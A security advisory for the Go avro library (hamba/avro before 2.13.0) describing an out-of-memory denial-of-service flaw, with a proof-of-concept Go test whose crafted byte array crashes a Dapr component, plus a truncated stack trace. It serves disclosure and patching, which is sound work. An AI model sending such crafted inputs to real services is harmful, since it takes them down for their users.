GHSA-9x44-9pgq-cf45 avro vulnerable to denial of service via attacker-controlled parameter

• Go github.com/hamba/avro: < 2.13.0 → fixed in 2.13.0 • Go github.com/hamba/avro/v2: < 2.13.0 → fixed in 2.13.0

Summary A well-crafted string passed to avro's `github.com/hamba/avro/v2.Unmarshal()` can throw a `fatal error: runtime: out of memory` which is unrecoverable and can cause denial of service of the consumer of avro. Details The root cause of the issue is that avro uses part of the input to `Unmarshal()` to determine the size when creating a new slice. In the reproducer below, the first few bytes determine the size of the slice. The root cause is on line 239 here: https://github.com/hamba/avro/blob/3abfe1e6382c5dccf2e1a00260c51a64bc1f1ca1/reader.go#L216-L242 PoC The issue was found during a security audit of Dapr, and I attach a reproducer that shows how the issue affects Dapr. Dapr uses an older version of the avro library, but it is also affected if bumping avro to latest. To reproduce: ```bash cd /tmp git clone --depth=1 https://github.com/dapr/components-contrib cd components-contrib/pubsub/pulsar ``` now add this test to the `pulsar_test.go`: ```golang func TestParsePublishMetadata2(t *testing.T) { m := &pubsub.PublishRequest{} m.Data = []byte{246, 255, 255, 255, 255, 10, 255, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} _, _ = parsePublishMetadata(m, schemaMetadata{protocol: avroProtocol, value: "bytes"}) } ``` run the test with `go test -run=TestParsePublishMetadata2`. You should see this stacktrace: ``` fatal error: runtime: out of memory runtime stack: runtime.throw({0xc32c9c?, 0x8000?}) /usr/local/go/src/runtime/panic.go:1047 +0x5d fp=0x7ffd9b347ed8 sp=0x7ffd9b347ea8 pc=0x445a9d runtime.sysMapOS(0xc000400000, 0x2c00000000?) /usr/local/go/src/runtime/mem_linux.go:187 +0x11b fp=0x7ffd9b347f20 sp=0x7ffd9b347ed8 pc=0x424dfb runtime.sysMap(0x11ab260?, 0xc3ffffffff?, 0x11bb3f8?) /usr/local/go/src/runtime/mem.go:142 +0x35 fp=0x7ffd9b347f50 sp=0x7ffd9b347f20 pc=0x4247d5 runtime.(*mheap).grow(0x11ab260, 0x1600000?) /usr/local/go/src/runtime/mheap.go:1522 +0x252 fp=0x7ffd9b347fc8 sp=0x7ffd9b347f50 pc=0x436832 runtime.(*mheap).allocSpan(0x11ab260, 0x1600000, 0x0, 0xae?) /usr/local/go/src/runtime/mheap.go:1243 +0x1b7 fp=0x7ffd9b348060 sp=0x7ffd9b347fc8 pc=0x435f77 runtime.(*mheap).alloc.func1() /usr/local/go/src/runtime/mheap.go:961 +0x65 fp=0x7ffd9b3480a8 sp=0x7ffd9b348060 pc=0x435a25 runtime.systemstack() /usr/local/go/src/runtime/asm_amd64.s:496 +0x49 fp=0x7ffd9b3480b0 sp=0x7ffd9b3480a8 pc=0x47a469 goroutine 22 [running]: runtime.systemstack_switch() /usr/local/go/src/runtime/asm_amd64.s:463 fp=0xc000080930 sp=0xc000080928 pc=0x47a400 runtime.(*mheap).alloc(0x422a90?, 0x1160f40?, 0x38?) /usr/local/go/src/runtime/mheap.go:955 +0x65 fp=0xc000080978 sp=0xc000080930 pc=0x435965 runtime.(*mcache).allocLarge(0x2?, 0x2bfffffffb, 0x1) /usr/local/go/src/runtime/mcache.go:234 +0x85 fp=0xc0000809c0 sp=0xc000080978 pc=0x423865 runtime.mallocgc(0x2bfffffffb, 0xb44860, 0x1) /usr/local/go/src/runtime/malloc.go:1053 +0x4fe fp=0xc000080a28 sp=0xc0000809c0 pc=0x41a57e runtime.makeslice(0xc00024cd20?, 0x4d8560d018?, 0xc000080b18?) /usr/local/go/src/runtime/slice.go:103 +0x52 fp=0xc000080a50 sp=0xc000080a28 pc=0x45de72 …